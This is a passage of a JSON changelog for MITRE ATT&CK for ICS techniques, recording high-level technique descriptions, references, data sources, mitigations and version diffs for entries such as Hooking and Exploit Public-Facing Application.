\"old_value\": \"process use of network\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Web proxy\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][4]\": \"SSl/TLS inspection\", \"root['x_mitre_data_sources'][5]\": \"Network intrusion detection system\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0921: Restrict Web-Based Content", "M0948: Application Isolation and Sandboxing", "M0950: Exploit Protection", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--5a2610f6-9fff-41e1-bc27-575ca20383d4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Execution through API", "description": "Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0871", "external_id": "T0871" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Module: Module Load", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Module: Module Load\", \"old_value\": \"API monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0804: Human User Authentication", "M0938: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--32632a95-6856-47b9-9ab7-fea5cd7dce00", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Exploit Public-Facing Application", "description": "Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0819", "external_id": "T0819" }, { "source_name": "ICS CERT 14-281", "description": "ICS-CERT. (2014, December 10). ICS Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E). Retrieved October 11, 2019.", "url": "https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Web logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Web application firewall logs\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"Human-Machine Interface\", \"old_value\": \"Windows\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Application logs\", \"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0916: Vulnerability Scanning", "M0926: Privileged Account Management", "M0930: Network Segmentation", "M0948: Application Isolation and Sandboxing", "M0950: Exploit Protection", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--9f947a1c-3860-48a8-8af0-a2dfa3efde03", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Exploitation for Evasion", "description": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features.\n\nAdversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0820", "external_id": "T0820" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Detonation chamber\", \"Malware reverse engineering\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0919: Threat Intelligence Program", "M0948: Application Isolation and Sandboxing", "M0950: Exploit Protection", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--cfe68e93-ce94-4c0f-a57d-3aa72cedd618", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-13 12:08:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Exploitation for Privilege Escalation", "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "privilege-escalation-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0890", "external_id": "T0890" }, { "source_name": "ATT&CK Exploitation for Privilege Escalation", "description": "The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021.", "url": "https://attack.mitre.org/techniques/T1068/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: OS API Execution" ], "x_mitre_platforms": [ "Human-Machine Interface", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 12:08:26.506000+00:00\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0919: Threat Intelligence Program", "M0948: Application Isolation and Sandboxing", "M0950: Exploit Protection", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--85a45294-08f1-4539-bf00-7da08aa7b0ee", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Exploitation of Remote Services", "description": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services)\n\nICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (\u201cwormable\u201d) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0866", "external_id": "T0866" }, { "source_name": "EAttack Exploitation of Remote Services", "description": "Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019.", "url": "https://attack.mitre.org/techniques/T1210/" }, { "source_name": "Reference - Dragos - 201910", "description": "Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.", "url": "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Human-Machine Interface", "Data Historian", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 19:17:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Windows error reporting\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"File monitoring\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0916: Vulnerability Scanning", "M0919: Threat Intelligence Program", "M0926: Privileged Account Management", "M0930: Network Segmentation", "M0942: Disable or Remove Feature or Program", "M0948: Application Isolation and Sandboxing", "M0950: Exploit Protection", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8d2f3bab-507c-4424-b58b-edc977bd215c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "External Remote Services", "description": "Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point\u2010to\u2010point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0822", "external_id": "T0822" }, { "source_name": "EAttack External Remote Services", "description": "Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1133" }, { "source_name": "Ukraine15 - Zetter, Kim", "description": "Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019.", "url": "https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/" }, { "source_name": "Ukraine15 - ICSCERT", "description": "ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.", "url": "https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01" }, { "source_name": "Ukraine15 - Fireeye", "description": "John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Logon Session: Logon Session Metadata", "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Control Server", "Input/Output Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Authentication logs\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"Logon Session: Logon Session Metadata\", \"root['x_mitre_data_sources'][2]\": \"Network Traffic: Network Traffic Flow\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0918: User Account Management", "M0927: Password Policies", "M0930: Network Segmentation", "M0932: Multi-factor Authentication", "M0935: Limit Access to Resource Over Network", "M0936: Account Use Policies", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b0628bfc-5376-4a38-9182-f324501cb4cf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 15:25:32.143000+00:00", "name": "Graphical User Interface", "description": "Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.\n\nIn the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0823", "external_id": "T0823" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" }, { "source_name": "Oldsmar Water Treatment Attack Feb 2021", "description": "Pinellas County Sheriff\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.", "url": "https://www.youtube.com/watch?v=MkXDSOgLQ6M" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Process: Process Creation" ], "x_mitre_platforms": [ "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.\\n\\nIn the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021)\", \"old_value\": \"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.\\n+\\n+In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021)\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Process command-line parameters\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Oldsmar Water Treatment Attack Feb 2021\", \"description\": \"Pinellas County Sheriff\\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.\", \"url\": \"https://www.youtube.com/watch?v=MkXDSOgLQ6M\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Binary file metadata\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to gain access to a machine via a Grt1Adversaries may attempt to gain access to a machine via a Gr
>aphical User Interface (GUI) to enhance execution capabiliti>aphical User Interface (GUI) to enhance execution capabiliti
>es. Access to a GUI allows a user to interact with a compute>es. Access to a GUI allows a user to interact with a compute
>r in a more visual manner than a CLI. A GUI allows users to >r in a more visual manner than a CLI. A GUI allows users to 
>move a cursor and click on interface objects, with a mouse a>move a cursor and click on interface objects, with a mouse a
>nd keyboard as the main input devices, as opposed to just us>nd keyboard as the main input devices, as opposed to just us
>ing the keyboard. If physical access is not an option, then >ing the keyboard. If physical access is not an option, then 
>access might be possible via protocols such as VNC on Linux->access might be possible via protocols such as VNC on Linux-
>based and Unix-based operating systems, and RDP on Windows o>based and Unix-based operating systems, and RDP on Windows o
>perating systems. An adversary can use this access to execut>perating systems. An adversary can use this access to execut
>e programs and applications on the target machine.>e programs and applications on the target machine.  In the O
 >ldsmar water treatment attack, adversaries utilized the oper
 >ator HMI interface through the graphical user interface. Thi
 >s action led to immediate operator detection as they were ab
 >le to see the adversary making changes on their screen. (Cit
 >ation: Oldsmar Water Treatment Attack Feb 2021)
", "changelog_mitigations": { "shared": [ "M0816: Mitigation Limited or Not Effective" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ab390887-afc0-4715-826d-b1b167d522ae", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Hooking", "description": "Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking)\n\nOne type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "privilege-escalation-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0874", "external_id": "T0874" }, { "source_name": "EAttack Hooking", "description": "Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019.", "url": "https://attack.mitre.org/techniques/T1179/" }, { "source_name": "Stuxnet - Symantec - 201102", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Modification", "Module: Module Load" ], "x_mitre_platforms": [ "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Module: Module Load\", \"old_value\": \"Windows registry\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"API monitoring\", \"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0944: Restrict Library Loading", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--53a48c74-0025-45f4-b04a-baa853df8204", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 15:25:32.143000+00:00", "name": "I/O Image", "description": "Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device\u2019s Native API to access the memory regions directly. The collection of the PLC\u2019s I/O state could be used to replace values or inform future stages of an attack.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0877", "external_id": "T0877" }, { "source_name": "PLC-Blaster 2", "description": "Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.", "url": "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf" }, { "source_name": "Stuxnet - Symantec - 201102", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Asset: Software/Firmware" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device\\u2019s Native API to access the memory regions directly. The collection of the PLC\\u2019s I/O state could be used to replace values or inform future stages of an attack.\", \"old_value\": \"Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2)\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Asset: Software/Firmware\", \"old_value\": \"Controller program\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Stuxnet - Symantec - 201102\", \"description\": \"Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.\", \"url\": \"https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf\"}}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may seek to capture process image values relatedt1Adversaries may seek to capture process image values related
> to the inputs and outputs of a PLC. Within a PLC all input > to the inputs and outputs of a PLC. Within a PLC all input 
>and output states are stored into an I/O image. This image i>and output states are stored into an I/O image. This image i
>s used by the user program instead of directly interacting w>s used by the user program instead of directly interacting w
>ith physical I/O. (Citation: PLC-Blaster 2)>ith physical I/O. (Citation: PLC-Blaster 2) Adversaries may 
 >collect the I/O Image state of a PLC by utilizing a device\u2019s
 > Native API to access the memory regions directly. The colle
 >ction of the PLC\u2019s I/O state could be used to replace values
 > or inform future stages of an attack.
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In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0872", "external_id": "T0872" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Deletion", "File: File Metadata", "File: File Modification", "Network Traffic: Network Traffic Content", "Process: OS API Execution", "Process: Process Creation", "User Account: User Account Authentication", "Windows Registry: Windows Registry Key Deletion", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_platforms": [ "Human-Machine Interface", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Deletion\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Metadata\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"API monitoring\"}, \"root['x_mitre_data_sources'][4]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Windows event logs\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][5]\": \"Process: OS API Execution\", \"root['x_mitre_data_sources'][6]\": \"Process: Process Creation\", \"root['x_mitre_data_sources'][7]\": \"User Account: User Account Authentication\", \"root['x_mitre_data_sources'][8]\": \"Windows Registry: Windows Registry Key Deletion\", \"root['x_mitre_data_sources'][9]\": \"Windows 